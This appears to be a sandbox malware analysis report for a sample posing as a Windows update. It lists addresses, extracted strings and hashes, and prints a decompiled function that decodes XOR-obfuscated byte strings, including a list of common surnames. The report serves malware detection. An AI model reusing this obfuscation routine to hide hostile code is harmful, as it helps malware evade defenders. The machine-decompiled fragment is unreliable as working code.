0x00409c1d
0x00409c25
0x00409c2d
0x00409c35
0x00409c3d
0x00409c45
0x00409c4d
0x00409c50
0x00409c60
0x00409c67
0x00409c68
0x00409c73
0x00409c77
0x00409c8b
0x00409c90
0x00409c95
0x00409c9a
0x00409ca2
0x00409caa
0x00409cb7
0x00409cbb
0x00409cc3
0x00409ccb
0x00409cd3
0x00409cdb
0x00409ce3
0x00409ceb
0x00409cf3
0x00409d00
0x00409d00
0x00409d08
0x00409d09
0x00409d22
0x00409d2a
0x00409d32
0x00409d3a
0x00409d42
0x00409d4a
0x00409d52
0x00409d5a
0x00409d62
0x00409d6a
0x00409d79
0x00409d7d
0x00409d85
0x00409d8d
0x00409d95
0x00409d9d
0x00409da4
0x00409dac
0x00409db4
0x00409dbc
0x00409dc4
0x00409dcb
0x00409dd0
0x00409de0
0x00409de7
0x00409de8
0x00409df4
0x00409dfb
0x00409dfd
0x00409e05
0x00409e0d
0x00409e15
0x00409e1d
0x00409e25
0x00409e2d
0x00409e35
0x00409e3d
0x00409e45
0x00409e4d
0x00409e59
0x00409e5b
0x00409e63
0x00409e67
0x00409e6f
0x00409e77
0x00409e7f
0x00409e87
0x00409e8f
0x00409e97
0x00409e9f
0x00409ea7
0x00409eaf
0x00409eb7
0x00409ebf
0x00409ec7
0x00409ecf
0x00409ed7
0x00409edf
0x00409ee7
0x00409eef
0x00409ef7
0x00409efe
0x00409f01
0x00409f05
0x00409f0c
0x00409f14
0x00409f1c
0x00409f24
0x00409f2c
0x00409f33
0x00409f3b
0x00409f43
0x00409f50
0x00409f50
0x00409f58
0x00409f59
0x00409f5e
0x00409f66
0x00409f6e
0x00409f76
0x00409f7e
0x00409f86
0x00409f8e
0x00409f96
0x00409f9e
0x00409fa0
0x00409fa0
0x00409fa8
0x00409fa9
0x00409fae
0x00409fb6
0x00409fbe
0x00409fc6
0x00409fce
0x00409fd6
0x00409fde
0x00409fe6
0x00409fee
0x00409ff6
0x00409ffe
0x0040a000
0x0040a010
0x0040a017
0x0040a018
0x0040a021
0x0040a023
0x0040a02b
0x0040a030
0x0040a035
0x0040a03a
0x0040a03f
0x0040a047
0x0040a04f
0x0040a057
0x0040a05f
0x0040a06b
0x0040a06d
0x0040a075
0x0040a079
0x0040a081
0x0040a089
0x0040a091
0x0040a099
0x0040a0a1
0x0040a0a9
0x0040a0b1
0x0040a0b9
0x0040a0c1
0x0040a0c9
0x0040a0d0
0x0040a0d8
0x0040a0e0
0x0040a0e8
0x0040a0f0
0x0040a0f8
0x0040a100
0x0040a108
0x0040a110
0x0040a118
0x0040a120
0x0040a12d
0x0040a13d
0x0040a144
0x0040a158
0x0040a160
0x0040a168
0x0040a170
0x0040a178
0x0040a180
0x0040a188
0x0040a190
0x0040a198
0x0040a1a0
0x0040a1a8
0x0040a1b0
0x0040a1bd
0x0040a1c8
0x0040a1ca
0x0040a1d2
0x0040a1da
0x0040a1e2
0x0040a1ea
0x0040a1f2
0x0040a1fa
0x0040a202
0x0040a20a
0x0040a212
0x0040a21a
0x0040a222
0x0040a227
0x0040a22a
0x0040a22e
0x0040a236
0x0040a23e
0x0040a246
0x0040a24e
0x0040a256
0x0040a25e
0x0040a266
0x0040a26e
0x0040a276
0x0040a27e
0x0040a286
0x0040a28e
0x0040a296
0x0040a29e
0x0040a2a6
0x0040a2ae
0x0040a2b0
0x0040a2c0
0x0040a2c7
0x0040a2c8
0x0040a2cd
0x0040a2d5
0x0040a2dd
0x0040a2e5
0x0040a2ed
0x0040a2f5
0x0040a2fd
0x0040a305
0x0040a310
0x0040a310
0x0040a318
0x0040a319
0x0040a325
0x0040a327
0x0040a32f
0x0040a337
0x0040a33f
0x0040a347
0x0040a34f
0x0040a357
0x0040a35f
0x0040a367
0x0040a36f
0x0040a377
0x0040a37f
0x0040a387
0x0040a38f
0x0040a397
0x0040a39f
0x0040a3a7
0x0040a3ae
0x0040a3b3
0x0040a3b6
0x0040a3ba
0x0040a3c2
0x0040a3ca
0x0040a3d2
0x0040a3da
0x0040a3e2
0x0040a3ea
0x0040a3f2
0x0040a3fa
0x0040a402
0x0040a40a
0x0040a412
0x0040a41a
0x0040a422
0x0040a42a
0x0040a432
0x0040a43a
0x0040a440
0x0040a450
0x0040a457
0x0040a458
0x0040a45d
0x0040a465
0x0040a46d
0x0040a475
0x0040a47d
0x0040a485
0x0040a48d
0x0040a495
0x0040a49d
0x0040a4a5
0x0040a4ad
0x0040a4b5
0x0040a4bd
0x0040a4c5
0x0040a4cd
0x0040a4d5
0x0040a4dd
0x0040a4e0
0x0040a4f0
0x0040a4f7
0x0040a4f8
0x0040a4fd
0x0040a505
0x0040a50d
0x0040a515
0x0040a51d
0x0040a525
0x0040a52d
0x0040a535
0x0040a53d
0x0040a545
0x0040a54d
0x0040a555
0x0040a55d
0x0040a565
0x0040a56d
0x0040a570
0x0040a580
0x0040a587
0x0040a588
0x0040a58d
0x0040a595
0x0040a59d
0x0040a5a5
0x0040a5ad
0x0040a5b5
0x0040a5bd
0x0040a5c5
0x0040a5cd
0x0040a5d5
0x0040a5dd
0x0040a5e5
0x0040a5ed
0x0040a5f0
0x0040a600
0x0040a607
0x0040a608
0x0040a614
0x0040a616
0x0040a61e
0x0040a626
0x0040a62e
0x0040a636
0x0040a63e
0x0040a646
0x0040a64e
0x0040a656
0x0040a65e
0x0040a666
0x0040a66e
0x0040a676
0x0040a67e
0x0040a686
0x0040a68e
0x0040a696
0x0040a69e
0x0040a6a6
0x0040a6ae
0x0040a6b5
0x0040a6b8
0x0040a6bc
0x0040a6c4
0x0040a6cc
0x0040a6d4
0x0040a6db
0x0040a6e3
0x0040a6eb
0x0040a6f3
0x0040a6fb
0x0040a700
0x0040a700
0x0040a708
0x0040a709
0x0040a70e
0x0040a71c
0x0040a71e
0x0040a726
0x0040a72e
0x0040a736
0x0040a73e
0x0040a746
0x0040a74e
0x0040a756
0x0040a75e
0x0040a766
0x0040a76e
0x0040a776
0x0040a77e
0x0040a786
0x0040a78e
0x0040a796
0x0040a79e
0x0040a7a6
0x0040a7b3
0x0040a7b7
0x0040a7c1
0x0040a7c8
0x0040a7dc
0x0040a7e4
0x0040a7ec
0x0040a7f4
0x0040a7fc
0x0040a804
0x0040a80c
0x0040a814
0x0040a81c
0x0040a824
0x0040a82c
0x0040a834
0x0040a83c
0x0040a844
0x0040a851
0x0040a858
0x0040a860
0x0040a868
0x0040a870
0x0040a878
0x0040a880
0x0040a888
0x0040a890
0x0040a892
0x0040a892
0x0040a89a
0x0040a89b
0x0040a8b1
0x0040a8b6
0x0040a8bb
0x0040a8c0
0x0040a8c5
0x0040a8cd
0x0040a8d5
0x0040a8dd
0x0040a8e5
0x0040a8ee
0x0040a8ef
0x0040a8f7
0x0040a8f9
0x0040a8fe
0x0040a903
0x0040a908
0x0040a90d
0x0040a915
0x0040a91d
0x0040a925
0x0040a92d
0x0040a932
0x0040a935
0x0040a937
0x0040a93f
0x0040a947
0x0040a94f
0x0040a957
0x0040a95f
0x0040a961
0x0040a961
0x0040a969
0x0040a96a
0x0040a96f
0x0040a977
0x0040a97f
0x0040a987
0x0040a98f
0x0040a997
0x0040a99f
0x0040a9a7
0x0040a9af
0x0040a9b7
0x0040a9bf
0x0040a9c7
0x0040a9cf
0x0040a9d7
0x0040a9df
0x0040a9f0
0x0040aa00
0x0040aa07
0x0040aa08
0x0040aa1e
0x0040aa23
0x0040aa28
0x0040aa2d
0x0040aa35
0x0040aa3d
0x0040aa45
0x0040aa4a
0x0040aa4f
0x0040aa54
0x0040aa59
0x0040aa5e
0x0040aa66
0x0040aa6e
0x0040aa76
0x0040aa7e
0x0040aa80
0x0040aa87
0x0040aa8b
0x0040aa8c
0x0040aa95
0x0040aaa0
0x0040aaae
0x0040aab9
0x0040aac4
0x0040aad2
0x0040aae0
0x0040aaee
0x0040aafc
0x0040ab07
0x0040ab12
0x0040ab20
0x0040ab2b
0x0040ab39
0x0040ab47
0x0040ab55
0x0040ab60
0x0040ab6b
0x0040ab79
0x0040ab87
0x0040ab95
0x0040aba3
0x0040abb1
0x0040abbc
0x0040abca
0x0040abdc
0x0040abe3
0x0040abf1
0x0040abff
0x0040ac0d
0x0040ac1f
0x0040ac26
0x0040ac38
0x0040ac3f
0x0040ac51
0x0040ac5c
0x0040ac6a
0x0040ac78
0x0040ac86
0x0040ac91
0x0040ac9c
0x0040aca3
0x0040acae
0x0040acb9
0x0040acc0
0x0040acce
0x0040ace0
0x0040ace7
0x0040acf5
0x0040ad03
0x0040ad11
0x0040ad23
0x0040ad2a
0x0040ad3f
0x0040ad46
0x0040ad5b
0x0040ad62
0x0040ad74
0x0040ad7b
0x0040ad82
0x0040ad89
0x0040ad90
0x0040ad97
0x0040ad9e
0x0040ada0
0x0040adaf
0x0040adbc
0x0040adc3
0x0040adc8
0x0040adcd
0x00000000
0x00000000
0x0040adcf
0x0040add3
0x00000000
0x0040add5
0x0040addd
0x0040ade6
0x0040ade7
0x0040adec
0x0040adec
0x0040adef
0x0040adef
0x0040adf4
0x0040adfe
0x0040ae18
0x0040ae18
0x0040ae49
0x0040ae3d
0x0040ae4b
0x0040ae52
0x0040ae53
0x0040ae58
0x0040ae5b
0x0040ae5b
0x00000000

Strings

8, xrefs: 0040991F
2, xrefs: 0040A3DA
Z, xrefs: 00409D00
P, xrefs: 0040A766
d, xrefs: 0040A96F
V, xrefs: 00409F66
6, xrefs: 00409A5B
}, xrefs: 00409485
", xrefs: 0040AA3D
{, xrefs: 0040AA4F
., xrefs: 00409CCB
E, xrefs: 0040A03F
c, xrefs: 0040A98F
d, xrefs: 0040A160
*, xrefs: 00409B03
O, xrefs: 00409F6E
[, xrefs: 0040A1F2
q, xrefs: 00409BAD
>, xrefs: 0040981D
<, xrefs: 00409A73
Z, xrefs: 0040AA1E
I, xrefs: 0040990F
I, xrefs: 00409A8B
4, xrefs: 00409D95
, xrefs: 0040A4FD
3, xrefs: 00409986
), xrefs: 0040980D
', xrefs: 0040A844
:, xrefs: 0040A80C
., xrefs: 00409FA0
E, xrefs: 00409CAA
K, xrefs: 00409C05
5, xrefs: 00409C8B
*, xrefs: 0040A5A5
<, xrefs: 00409739
s, xrefs: 0040A804
u, xrefs: 0040A880
l, xrefs: 0040A987
\, xrefs: 0040A03A
G, xrefs: 0040997E
$, xrefs: 00409AD2
g, xrefs: 004096A6
K, xrefs: 00409F8E
1, xrefs: 00409BED
=, xrefs: 00409CE3
K, xrefs: 00409EA7
K, xrefs: 00409A4B
7, xrefs: 0040A5C5
;, xrefs: 0040A62E
), xrefs: 0040A8BB
5, xrefs: 0040961C
!, xrefs: 0040A565
n, xrefs: 00409D85
C, xrefs: 00409F76
L, xrefs: 0040AA35
7, xrefs: 00409C15
_, xrefs: 00409B95
g, xrefs: 0040A0A9
}, xrefs: 0040A34F
Z, xrefs: 00409E9F
I, xrefs: 0040A834
&, xrefs: 0040A32F
^, xrefs: 0040A595
h, xrefs: 0040A69E
T, xrefs: 00409D6A
5, xrefs: 0040A646
[, xrefs: 00409E97
_, xrefs: 0040A814
9, xrefs: 0040A1D2
o, xrefs: 004098E6
), xrefs: 00409D7D
%, xrefs: 00409A43
}, xrefs: 0040A505
e, xrefs: 00409AFB
p, xrefs: 0040A3C2
t, xrefs: 0040A858
_, xrefs: 00409AAB
", xrefs: 0040A047
4, xrefs: 00409CDB
T, xrefs: 0040A7DC
9, xrefs: 0040A057
&, xrefs: 004095A9
H, xrefs: 0040A0A1
d, xrefs: 0040A868
:, xrefs: 0040A3E2
#, xrefs: 0040A626
J, xrefs: 004096B6
l, xrefs: 0040998E
P, xrefs: 0040A64E
E, xrefs: 0040AA59
f, xrefs: 0040999E
@, xrefs: 0040A030
I, xrefs: 0040A58D
-, xrefs: 00409706
i, xrefs: 004096CE
D, xrefs: 0040A7E4
+, xrefs: 0040A83C
i, xrefs: 00409E0D
j, xrefs: 00409624
`, xrefs: 0040A68E
4, xrefs: 0040AA23
O, xrefs: 0040A5D5
d, xrefs: 0040A878
V, xrefs: 0040A75E
J, xrefs: 0040AA4A
4, xrefs: 00409465
;, xrefs: 00409CC3
{, xrefs: 0040A170
t, xrefs: 00409E87
q, xrefs: 00409AF3
j, xrefs: 0040A0B1
3, xrefs: 00409CD3
#, xrefs: 00409E1D
/, xrefs: 004098DE
B, xrefs: 00409F86
?, xrefs: 0040A555
., xrefs: 00409F96
r, xrefs: 0040A860
o, xrefs: 004098F0
$, xrefs: 0040A7EC
;, xrefs: 0040A5BD
a, xrefs: 004095A1
_, xrefs: 00409475
F, xrefs: 0040A63E
o, xrefs: 0040A870
&, xrefs: 0040A51D
-, xrefs: 0040A33F
_, xrefs: 0040A61E
E, xrefs: 0040A236
[, xrefs: 004099BE
L, xrefs: 0040A04F
], xrefs: 0040A97F
^, xrefs: 00409F7E
Z, xrefs: 00409CEB
c, xrefs: 00409591
-, xrefs: 0040992F

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID:
String ID: $!$"$"$#$#$$$$$%$&$&$&$'$)$)$)$*$*$+$-$-$-$.$.$.$/$1$2$3$3$4$4$4$4$5$5$5$6$7$7$8$9$9$:$:$;$;$;$<$<$=$>$?$@$B$C$D$E$E$E$E$F$G$H$I$I$I$I$J$J$K$K$K$K$L$L$O$O$P$P$T$T$V$V$Z$Z$Z$Z$[$[$[$\$]$^$^$_$_$_$_$_$`$a$c$c$d$d$d$d$e$f$g$g$h$i$i$j$j$l$l$n$o$o$o$p$q$q$r$s$t$t$u${${$}$}$}
API String ID: 0-3297533030
Opcode ID: e80a43674b860d90563689f352579e04e32f56a1759b67cdd7fa77c80c7b27f3
Instruction ID: 082fff56f21fc62f50753e24676e63cce44abcfe45e5a024b0e2de527967505b
Opcode Fuzzy Hash: e80a43674b860d90563689f352579e04e32f56a1759b67cdd7fa77c80c7b27f3
Instruction Fuzzy Hash: 08E2A02000C7C299D332C63898587DFBFD55BA7328F588BADD1ED4A2E2D675020AD767

Uniqueness

Uniqueness Score: -1.00%

Function 0040EF78, Relevance: 163.1, Strings: 130, Instructions: 635
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E0040EF78(void* __eax, char __ebx, void* __esi, void* __ebp, signed char* _a4, char* _a8, char* _a12, intOrPtr _a16, char* _a20, intOrPtr _a24, char* _a28, intOrPtr _a32, char* _a36, intOrPtr _a40, signed char* _a44, char* _a48, intOrPtr _a52, signed char* _a56, char* _a60, char* _a64, intOrPtr _a68, char* _a72, char* _a76, signed int* _a80, intOrPtr _a84, char* _a88, intOrPtr _a92, char* _a96, char* _a100, signed int* _a104, intOrPtr _a108, signed char* _a112, char* _a116, char* _a120, signed char* _a124, intOrPtr _a128, signed int* _a132, char* _a136, intOrPtr _a140, char _a144, char _a145, char _a146, char _a147, char _a148, char _a149, char _a152, char _a153, char _a154, char _a155, char _a156, char _a157, char _a158, signed char _a164, signed char _a165, signed char _a166, signed char _a167, signed char _a168, signed char _a169, signed int _a172, signed int _a173, signed int _a174, signed int _a175, signed int _a176, signed int _a177, char _a178, char _a179, char _a180, char _a181, char _a182, char _a183, signed int _a184, signed int _a185, signed int _a186, signed int _a187, signed int _a188, signed int _a189, signed int _a190, signed int _a191, signed int _a192, signed int _a193, signed int _a194, signed int _a195, signed int _a196, signed int _a197, signed int _a198, char _a199, char _a200, signed char _a204, signed char _a205, signed char _a206, signed char _a207, signed char _a208, signed char _a209, signed int _a210, signed int _a211, signed int _a212, signed int _a213, signed int _a214, signed int _a215, char _a220, char _a221, char _a222, char _a223, char _a224, char _a225, char _a228, char _a229, char _a230, char _a231, char _a232, char _a233, char _a236, char _a244, char _a245, char _a246, char _a247, char _a248, char _a249, char _a252, char _a253, char _a254, char _a255, char _a256, char _a257, char _a260, char _a261, char _a262, char _a263, char _a264, char _a265, char _a268, char _a276, char _a277, char _a278, char _a279, char _a280, char _a281, char _a284, char _a285, char _a286, char _a287, char _a288, char _a289, char _a292, char _a300, char _a308, char _a316, char _a317, char _a318, char _a319, char _a320, char _a321, char _a324, char _a325, char _a326, char _a327, char _a328, char _a329, char _a332, char _a333, char _a334, char _a335, char _a336, char _a337, char _a338, char _a340, signed char _a348, signed char _a349, signed char _a350, signed char _a351, signed char _a352, signed char _a353, signed char _a354, char _a364, char _a372, char _a380, char _a381, char _a382, char _a383, char _a384, char _a385, char _a386, char _a388, signed char _a396, signed char _a397, signed char _a398, signed char _a399, signed char _a400, signed char _a401, signed char _a402, char _a408, char _a409, char _a410, char _a411, char _a412, char _a413, char _a414, char _a415, char _a416, char _a417, char _a418, char _a419, signed char _a420, signed char _a421, signed char _a422, signed char _a423, signed char _a424, signed char _a425, signed char _a426, signed char _a427, char _a432, signed char _a436, signed char _a437, signed char _a438, signed char _a439, signed char _a440, signed char _a441, signed char _a442, signed char _a443, char _a444, char _a445, char _a446, char _a447, char _a448, char _a449, char _a450, char _a451, char _a452, char _a456, char _a468, char _a469, char _a470, char _a471, char _a472, char _a473, char _a474, char _a475, char _a476, char _a477, char _a478, char _a479, char _a480, char _a481, char _a482, char _a483, char _a484, char _a485, intOrPtr _a488) {
				char* _v0;
				intOrPtr _v4;
				intOrPtr _v8;
				char* _v12;
				char* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v25;
				char _v26;
				char _v27;
				char _v28;
				intOrPtr _v32;
				char _v36;
				char _v40;
				char _v41;
				void* _t532;
				void* _t541;
				void* _t548;
				char* _t556;
				void* _t558;
				intOrPtr _t567;
				intOrPtr _t569;
				signed int _t573;
				intOrPtr* _t575;
				char _t581;
				char _t589;
				char _t594;
				char _t603;
				void* _t615;
				signed char _t622;
				signed char _t624;
				intOrPtr _t649;
				char _t685;
				intOrPtr _t711;
				void* _t712;
				void* _t714;
				signed int _t715;
				signed int _t716;
				void* _t717;
				signed char _t718;
				void* _t719;
				intOrPtr _t723;
				void* _t725;

				_t714 = __esi;
				_t532 = __eax;
				do {
					_t581 =  *((intOrPtr*)(_t725 + _t532 + 0xd0));
					 *((char*)(_t725 + _t532 + 0xd0)) =  *((intOrPtr*)(_t725 + _t714 + 0xd0));
					_t532 = _t532 + 1;
					 *((char*)(_t725 + _t714 + 0xd0)) = _t581;
					_t714 = _t714 - 1;
				} while (_t532 < _t714);
				_a436 = _a208 ^ 0x00000014;
				_a437 = _a209 ^ 0x000000a8;
				_a438 = _a210 ^ 0x00000037;
				_a439 = _a211 ^ 0x00000028;
				_a440 = _a212 ^ 0x00000035;
				_a441 = _a213 ^ 0x00000017;
				_a442 = _a214 ^ 0x000000aa;
				_push(6);
				_a443 = _a215 ^ 0x00000083;
				_push( &_a284);
				 *0x431c89 = 0x19;
				_a284 = 0x88;
				_a285 = 0x9c;
				_a286 = 0x95;
				_a287 = 0x1d;
				_a288 = 0xbd;
				_a289 = 0x48;
				_a228 = 0xbc;
				_a229 = 0xd1;
				_a230 = 0xbe;
				_a231 = 0xd2;
				_a232 = 0xbe;
				_a233 = 0xc7;
				_a16 = E0040D980( &_a228);
				_a192 = 0xf0;
				_a193 = 0x33;
				_a194 = 0x7f;
				_a195 = 0x8f;
				_a196 = 0xd4;
				_a197 = 0x7b;
				_a198 = 0x1c;
				_t541 = 0;
				_t715 = 6;
				do {
					_t589 =  *((intOrPtr*)(_t725 + _t541 + 0xc8));
					 *((char*)(_t725 + _t541 + 0xc8)) =  *((intOrPtr*)(_t725 + _t715 + 0xc8));
					_t541 = _t541 + 1;
					 *((char*)(_t725 + _t715 + 0xc8)) = _t589;
					_t715 = _t715 - 1;
				} while (_t541 < _t715);
				_a396 = _a192 ^ 0x00000071;
				_a399 = _a195 ^ 0x000000e3;
				_a397 = _a193 ^ 0x00000012;
				_a398 = _a194 ^ 0x000000b8;
				_a402 = _a198 ^ 0x000000f0;
				_a400 = _a196 ^ 0x0000001a;
				_a401 = _a197 ^ 0x00000041;
				_a192 = 0xac;
				_a193 = 0x88;
				_a194 = 0x4a;
				_a195 = 0xc7;
				_a196 = 0xee;
				_a197 = 0x67;
				_a198 = 0xfc;
				_t548 = 0;
				_t716 = 6;
				do {
					_t594 =  *((intOrPtr*)(_t725 + _t548 + 0xc8));
					 *((char*)(_t725 + _t548 + 0xc8)) =  *((intOrPtr*)(_t725 + _t716 + 0xc8));
					_t548 = _t548 + 1;
					 *((char*)(_t725 + _t716 + 0xc8)) = _t594;
					_t716 = _t716 - 1;
				} while (_t548 < _t716);
				_a348 = _a192 ^ 0x0000008b;
				_a349 = _a193 ^ 0x0000000e;
				_a351 = _a195 ^ 0x000000b4;
				_a352 = _a196 ^ 0x00000025;
				_a350 = _a194 ^ 0x00000082;
				_a380 = 0xdb;
				_a198 = 0xdb;
				_push(7);
				_a354 = _a198 ^ 0x000000ac;
				_push( &_a380);
				_a353 = _a197 ^ 0x000000e6;
				 *0x431c89 = 0x19;
				_a324 = 0x6d;
				_a325 = 0x6f;
				_a326 = 0x6f;
				_a327 = 0x72;
				_a328 = 0x65;
				_a329 = __ebx;
				_a381 = 0x81;
				_a382 = 0xe5;
				_a383 = 0x9f;
				_a384 = 0x3e;
				_a385 = 0x36;
				_a386 = 0x71;
				_a192 = 0xc6;
				_a193 = 0xb2;
				_a194 = 0xd3;
				_a195 = 0xaa;
				_a196 = 0xc6;
				_a197 = 0xa9;
				_t556 = E0040D980( &_a192);
				_push(7);
				_push( &_a396);
				_a12 = _t556;
				_a472 = 0x61;
				_a473 = 0x6e;
				_a474 = 0x64;
				_a475 = 0x65;
				_a476 = 0x72;
				_a477 = 0x73;
				_a478 = 0x6f;
				_a479 = 0x6e;
				_a480 = __ebx;
				_a396 = 0xae;
				_a397 = 0xa8;
				_a398 = 0xa6;
				_a399 = 0xbf;
				_a400 = 0x70;
				_a401 = 0x89;
				_a402 = 0x13;
				_a184 = 0x11;
				_a185 = 0x65;
				_a186 = 0xd;
				_a187 = 0x62;
				_a188 = 0xf;
				_a189 = 0x6e;
				_a190 = 0x1d;
				_a12 = E0040D980( &_a184);
				_a184 = 0xa8;
				_a185 = 0xa2;
				_a186 = 0xaf;
				_a187 = 0xb1;
				_a188 = 0x15;
				_a189 = 0xd5;
				_a190 = 0x82;
				_a191 = 0x58;
				_t558 = 0;
				_t717 = 7;
				do {
					_t603 =  *((intOrPtr*)(_t725 + _t558 + 0xd0));
					 *((char*)(_t725 + _t558 + 0xd0)) =  *((intOrPtr*)(_t725 + _t717 + 0xd0));
					_t558 = _t558 + 1;
					 *((char*)(_t725 + _t717 + 0xd0)) = _t603;
					_t717 = _t717 - 1;
				} while (_t558 < _t717);
				_a421 = _a185 ^ 0x000000e3;
				_a420 = _a184 ^ 0x00000032;
				_a422 = _a186 ^ 0x000000b6;
				_a424 = _a188 ^ 0x000000c2;
				_a423 = _a187 ^ 0x0000007e;
				_a425 = _a189 ^ 0x000000c0;
				_push(7);
				_a427 = _a191 ^ 0x000000a8;
				_push( &_a348);
				_a426 = _a190 ^ 0x000000cc;
				 *0x431c89 = 0x19;
				_a316 = 0x77;
				_a317 = 0x68;
				_a318 = 0x69;
				_a319 = 0x74;
				_a320 = 0x65;
				_a321 = __ebx;
				_a396 = 0x68;
				_a397 = 0x61;
				_a398 = 0x72;
				_a399 = 0x72;
				_a400 = 0x69;
				_a401 = 0x73;
				_a402 = __ebx;
				_a348 = 0x2a;
				_a349 = 0x9c;
				_a350 = 0xed;
				_a351 = 0x35;
				_a352 = 0x4a;
				_a353 = 0x35;
				_a354 = 0x68;
				_a176 = 0x4f;
				_a177 = 0x22;
				_a178 = 0x43;
				_a179 = 0x31;
				_a180 = 0x45;
				_a181 = 0x2c;
				_a182 = 0x42;
				_t711 = E0040D980( &_a176);
				_a444 = 0x74;
				_a445 = 0x68;
				_a446 = 0x6f;
				_a447 = 0x6d;
				_a448 = 0x70;
				_a449 = 0x73;
				_a450 = 0x6f;
				_a451 = 0x6e;
				_a452 = __ebx;
				_a332 = 0x67;
				_a333 = 0x61;
				_a334 = 0x72;
				_a335 = 0x63;
				_a336 = 0x69;
				_a337 = 0x61;
				_a338 = __ebx;
				_a468 = 0x37;
				_a469 = 0x36;
				_a470 = 0xb3;
				_a471 = 0xc1;
				_a472 = 0x69;
				_a473 = 0x80;
				_push(9);
				_push( &_a468);
				_a474 = 0xc4;
				_a475 = 0x8e;
				_a476 = 0x89;
				_a176 = 0x60;
				_a177 = 0xd;
				_a178 = 0x6c;
				_a179 = 0x1e;
				_a180 = 0x6a;
				_a181 = 3;
				_a182 = 0x6d;
				_a183 = 8;
				_a184 = 0x72;
				_t567 = E0040D980( &_a176);
				_push(6);
				_push( &_a276);
				_t723 = _t567;
				_a412 = 0x72;
				_a413 = 0x6f;
				_a414 = 0x62;
				_a415 = 0x69;
				_a416 = 0x6e;
				_a417 = 0x73;
				_a418 = 0x6f;
				_a419 = 0x6e;
				_a420 = __ebx;
				_a252 = 0x63;
				_a253 = 0x6c;
				_a254 = 0x61;
				_a255 = 0x72;
				_a256 = 0x6b;
				_a257 = __ebx;
				_a472 = 0x72;
				_a473 = 0x6f;
				_a474 = 0x64;
				_a475 = 0x72;
				_a476 = 0x69;
				_a477 = 0x67;
				_a478 = 0x75;
				_a479 = 0x65;
				_a480 = 0x7a;
				_a481 = __ebx;
				_a276 = 0xfd;
				_a277 = 0xda;
				_a278 = 0x64;
				_a279 = 0xb0;
				_a280 = 0x5d;
				_a281 = 0x6c;
				_a188 = 0xc2;
				_a189 = 0xae;
				_a190 = 0xcb;
				_a191 = 0xbc;
				_a192 = 0xd5;
				_a193 = 0xa6;
				_v16 = E0040D980( &_a188);
				_v28 = 0x6c;
				_v27 = 0x65;
				_v26 = 0x65;
				_v25 = __ebx;
				_a332 = 0x77;
				_a333 = 0x61;
				_a334 = 0x6c;
				_a335 = 0x6b;
				_a336 = 0x65;
				_a337 = 0x72;
				_a338 = __ebx;
				_a196 = 0x68;
				_a197 = 0x61;
				_a198 = 0x6c;
				_a199 = 0x6c;
				_a200 = __ebx;
				_a276 = 0x61;
				_a277 = 0x6c;
				_a278 = 0x6c;
				_a279 = 0x65;
				_push(5);
				_push( &_a204);
				_a280 = 0x6e;
				_a281 = __ebx;
				_a260 = 0x79;
				_a261 = 0x6f;
				_a262 = 0x75;
				_a263 = 0x6e;
				_a264 = 0x67;
				_a265 = __ebx;
				_a476 = 0x68;
				_a477 = 0x65;
				_a478 = 0x72;
				_a479 = 0x6e;
				_a480 = 0x61;
				_a481 = 0x6e;
				_a482 = 0x64;
				_a483 = 0x65;
				_a484 = 0x7a;
				_a485 = __ebx;
				_a188 = 0x6b;
				_a189 = 0x69;
				_a190 = 0x6e;
				_a191 = 0x67;
				_a192 = __ebx;
				_a348 = 0x77;
				_a349 = 0x72;
				_a350 = 0x69;
				_a351 = 0x67;
				_a352 = 0x68;
				_a353 = 0x74;
				_a354 = __ebx;
				_a220 = 0x6c;
				_a221 = 0x6f;
				_a222 = 0x70;
				_a223 = 0x65;
				_a224 = 0x7a;
				_a225 = __ebx;
				_a204 = 0xc7;
				_a205 = 0x35;
				_a206 = 0x64;
				_a207 = 0x14;
				_a208 = 0x23;
				_a172 = 0x60;
				_a173 = 8;
				_a174 = 0x61;
				_a175 = 0xd;
				_a176 = 0x61;
				_t569 = E0040D980( &_a172);
				_a164 = 0x68;
				_a165 = 0x3e;
				_a166 = 0xbb;
				_a167 = 0xf0;
				_a168 = 0xec;
				_a169 = 0xa1;
				_t615 = 0;
				_t718 = 5;
				do {
					_v41 =  *((intOrPtr*)(_t725 + _t615 + 0xe0));
					 *((char*)(_t725 + _t615 + 0xe0)) =  *((intOrPtr*)(_t725 + _t718 + 0xe0));
					_t615 = _t615 + 1;
					 *((char*)(_t725 + _t718 + 0xe0)) = _v41;
					_t718 = _t718 - 1;
				} while (_t615 < _t718);
				_a204 = _a164 ^ 0x000000d2;
				_a205 = _a165 ^ 0x0000008f;
				_a206 = _a166 ^ 0x0000009f;
				_a207 = _a167 ^ 0x000000cf;
				_a208 = _a168 ^ 0x0000004a;
				_t622 = 5;
				_a209 = _a169 ^ 0x00000068;
				_a244 = 0x67;
				_a245 = 0x72;
				_a246 = 0x65;
				_a247 = 0x65;
				_a248 = 0x6e;
				_a249 = __ebx;
				_a144 = 0x61;
				_a145 = 0x64;
				_a146 = 0x61;
				_a147 = 0x6d;
				_a148 = 0x73;
				_a149 = __ebx;
				_a172 = 0x7a;
				_a173 = 0x24;
				_a174 = 0x9b;
				_a175 = 6;
				_a176 = 0x77;
				_a177 = 0xe5;
				_t719 = 0;
				_a164 = 5;
				do {
					_t685 =  *((intOrPtr*)(_t725 + _t719 + 0xe8));
					 *((char*)(_t725 + _t719 + 0xe8)) =  *((intOrPtr*)(_t725 + _t622 + 0xe8));
					_t624 = _a164;
					_t719 = _t719 + 1;
					 *((char*)(_t725 + _t624 + 0xe8)) = _t685;
					_t622 = _t624 - 1;
					_v41 = _t685;
					_a164 = _t622;
				} while (_t719 < _t622);
				_a164 = _a172 ^ 0x00000087;
				_a165 = _a173 ^ 0x00000016;
				_a166 = _a174 ^ 0x0000006d;
				_a167 = _a175 ^ 0x000000fe;
				_a168 = _a176 ^ 0x00000056;
				_a169 = _a177 ^ 0x0000007a;
				_v16 =  &_a292;
				_v12 =  &_v40;
				_t426 =  &_a220; // 0x6c
				_v8 = _t426;
				_t428 =  &_a372; // 0x68
